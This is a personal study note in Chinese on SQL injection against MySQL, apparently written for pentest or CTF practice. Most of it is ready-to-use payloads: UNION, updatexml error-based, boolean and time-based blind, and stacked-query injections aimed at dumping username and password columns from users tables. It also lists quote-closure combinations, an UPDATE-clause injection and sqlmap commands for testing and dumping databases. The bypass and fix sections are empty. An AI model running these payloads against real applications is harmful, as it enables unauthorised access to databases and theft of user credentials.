SQL隱碼攻擊個人小記(以MySQL為例)
sqlmap
偉大無需多言
https://github.com/sqlmapproject/sqlmap
參考連結
https://github.com/jason-blog/blog/blob/master/Kali/Sqlmap使用教程【個人筆記精華整理】.MD
手工payload
測試注入點情況
-- 判斷欄位數:在URL中新增
?inject=1' order by 1--+
從information_schema中查詢資訊
# 從資訊表中查詢當前資料庫所有表
select group_concat(table_name) from information_schema.TABLES WHERE table_schema = DATABASE()
# 從表中查詢所有欄位
select group_concat(column_name) from information_schema.COLUMNS where table_name = 'users'
# 查詢值
select group_concat(password) from users;
SELECT CONCAT(username, ':', password) FROM users; # 表格展示
SELECT GROUP_CONCAT(CONCAT(username, ':', password)) FROM users; # 一行展示
select * from users
UNION注入
payload 如下
-- 使用union select 1,2,3,··· 查詢出列數為val
1' union select 1,2,3,··,val --+
-- 查詢當前資料庫所有表
1' union select 1,group_concat(table_name) from information_schema.TABLES WHERE table_schema = DATABASE() --+
報錯注入
updatexml(XML_document,XPath_string,new_value) 利用這個函式,傳入的<XPath_string>不合法會將報錯內容輸出,比如含有'~'字元
payload如下
-- 測試是否存在報錯注入
1' or updatexml(1, concat(0x7e, (select 1 ),0x7e) ,1) #
-- 查詢使用者表中所有的密碼
-1' or updatexml(1,concat(0x7e, (select group_concat(password) from users), 0x7e),1) #
# 0x7e 是 '~' 字元
布林盲注
以MySQL為例,利用mid或substring或substr函式對查詢結果獲取子串,以下貼出一些常見的sql語句示例
-- 將users表中的username,password全部查詢出來,username和password以0x7e,即'~'符號分隔,每行結果以','分隔
select group_concat(username, 0x7e, password) from users;
-- 擷取以第1位字母開頭,長度為1的子串
select mid((select group_concat(username, 0x7e, password) from users), 1, 1);
-- 將查詢的第1位跟 'D' 字元比對,返回true即sql語句正常執行,返回false則sql語句無法正常返回id=1的資料
select * from users where id = 1 and BINARY (select mid((select group_concat(username, 0x7e, password) from users), 1, 1)) = 'D';
參考payload
1' and BINARY (select mid((select group_concat(username, 0x7e, password) from users), 1, 1)) = 'D' #
時間盲注
若無法實現布林盲注(如果sql語句的查詢結果返回並無太大區別),可以在sql語句中進行比對,返回true延時1s,返回false不延時,注入後的sql語句如下
select * from users where id = '1' or BINARY if(((select mid((select group_concat(username, 0x7e, password) from users), 1, 1)) = 'D'), sleep(1), 1);
參考payload
1' or BINARY if(((select mid((select group_concat(username, 0x7e, password) from users), 1, 1)) = 'e'), sleep(1), 1) #
堆疊注入
獲取資訊
?inject=-1'; show databases; --+
?inject=-1'; show tables; --+
# 查詢列
?inject=1';desc `table_name`--+
?inject=1';show columns from `table_name`--+
利用姿勢
# 直接獲取資料
handler `table_name` open;handler `table_name` read first; --+
-- 最簡單
# 結合預編譯
-- 還算安全,但是麻煩
# 修改表結構 讓需要查詢的表的名字改為服務正常查詢表的名字
-- 刪庫跑路了
-- MySQL表名為純數字時(表名和保留字衝突時也是加反引號),要加反引號
注入點
where (最常見)
下面列舉一些閉合前面的常見組合
1#
1'#
1"#
1')#
1")#
1'))#
1"))#
set 注入點
以下sql語句
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
引數$passwd
存在注入,注意控制條件免得直接更新一整張表,意思就是在註釋符號之前自己寫一個條件為false的,如下
1' where 1=2 #
主要、使用報錯注入獲取資料
使用 sqlmap -r
選項指定報文並進行測試
使用 -r
引數可以將 HTTP 請求報文檔案匯入到 sqlmap
,然後對指定的注入點和注入型別進行爆破測試。
1. 命令格式
sqlmap -r request.txt --level=<level> --risk=<risk> --dbms=<dbms> --technique=<technique> --batch --random-agent -p <parameter>
其中:
-r request.txt
:匯入包含 HTTP 請求的檔案。--level=<level>
:指定注入級別(1-5),級別越高,測試的引數越多(預設是 1)。--risk=<risk>
:指定測試的風險(1-3),級別越高,測試的請求可能對目標伺服器造成的負載越大(預設是 1)。--dbms=<dbms>
:指定資料庫型別(如MySQL
,MSSQL
,Oracle
,PostgreSQL
等)。可以在明確知道目標資料庫型別時指定。--technique=<technique>
:指定 SQL 注入的技術型別(B、E、U、S、T),分別表示:B
:布林型盲注(Boolean-based Blind)E
:報錯注入(Error-based)U
:聯合查詢注入(Union query-based)S
:堆查詢注入(Stacked queries)T
:時間盲注(Time-based Blind)
--batch
:自動確認所有提示(用於無人值守的自動化測試)。--random-agent
:隨機更改User-Agent
頭部,防止被目標伺服器遮蔽。-p <parameter>
:指定要測試的引數名稱。此處的<parameter>
替換為實際請求中可能存在注入的引數名,如username
、password
等。
2. 示例命令
以下是一些具體的 sqlmap
命令示例,幫助你在測試環境中進行報錯注入或其他型別的 SQL 注入測試:
例 1:對 POST 請求中 username
引數進行報錯注入測試
sqlmap -r request.txt --level=3 --risk=2 --technique=E --batch --random-agent -p username
--level=3
:測試所有的 POST 引數以及一些 HTTP 頭中的引數。--risk=2
:進行適度風險的測試,可能會使用一些可能影響伺服器效能的測試用例。--technique=E
:只使用報錯型注入進行測試。-p username
:只對username
引數進行注入測試。
例 2:對 GET 請求中所有引數進行聯合查詢注入測試
sqlmap -r request.txt --level=2 --risk=1 --technique=U --dbms=MySQL --batch --random-agent
--dbms=MySQL
:指定目標資料庫型別為 MySQL(可選項,知道目標資料庫型別時指定更有效)。--technique=U
:只使用聯合查詢注入進行測試。
例 3:對 POST 請求中 password
引數進行時間盲注測試
sqlmap -r request.txt --level=1 --risk=1 --technique=T --batch --random-agent -p password
--technique=T
:只使用時間盲注進行測試。-p password
:只對password
引數進行注入測試。
3. 常用的 sqlmap
選項說明
--dbs
:列出資料庫。--tables
:列出指定資料庫的表(需要使用-D
引數指定資料庫名)。--columns
:列出指定表的欄位(需要使用-T
引數指定表名)。--dump
:轉儲資料(需要指定資料庫和表)。
4. 檢查注入點結果
- 如果
sqlmap
成功發現了 SQL 注入點,會自動顯示資料庫名、表名、欄位資訊,並可能會詢問是否進一步匯出資料。 - 如果你想只檢測注入點而不進行資料匯出,可以新增
--smart
選項,它會在檢測到注入點後自動停止測試,而不進行進一步的資料操作。
5. 請求前獲取新Cookie
為了在每次請求之前獲取一個新的Cookie,並將這個Cookie傳遞給Sqlmap,可以使用--eval
引數。這個引數允許你在每次請求之前執行一個自定義的Python程式碼段來獲取Cookie,然後將其設定為請求的一部分。
假設你需要請求一個URL來獲取Cookie,並將該Cookie設定給Sqlmap,程式碼如下:
python sqlmap.py -r request.txt --level=3 --risk=2 --technique=T --batch --random-agent -p id --eval="import requests; r = requests.get('http://example.com/get-cookie'); cookie = r.cookies.get('your_cookie_name'); headers['Cookie'] = f'your_cookie_name={cookie}'"
說明:
--eval
允許你在Sqlmap每次請求前執行Python程式碼。requests.get('http://example.com/get-cookie')
請求指定URL以獲取新的Cookie。r.cookies.get('your_cookie_name')
獲取請求結果中的指定Cookie名稱。headers['Cookie']
設定Sqlmap在後續請求中使用這個Cookie。
確保你將 http://example.com/get-cookie
和 your_cookie_name
替換為實際的URL和Cookie名稱。這樣,每次Sqlmap進行請求前,它都會先向指定的URL傳送請求以獲取最新的Cookie。
繞過思路
鴿
修復思路
鴿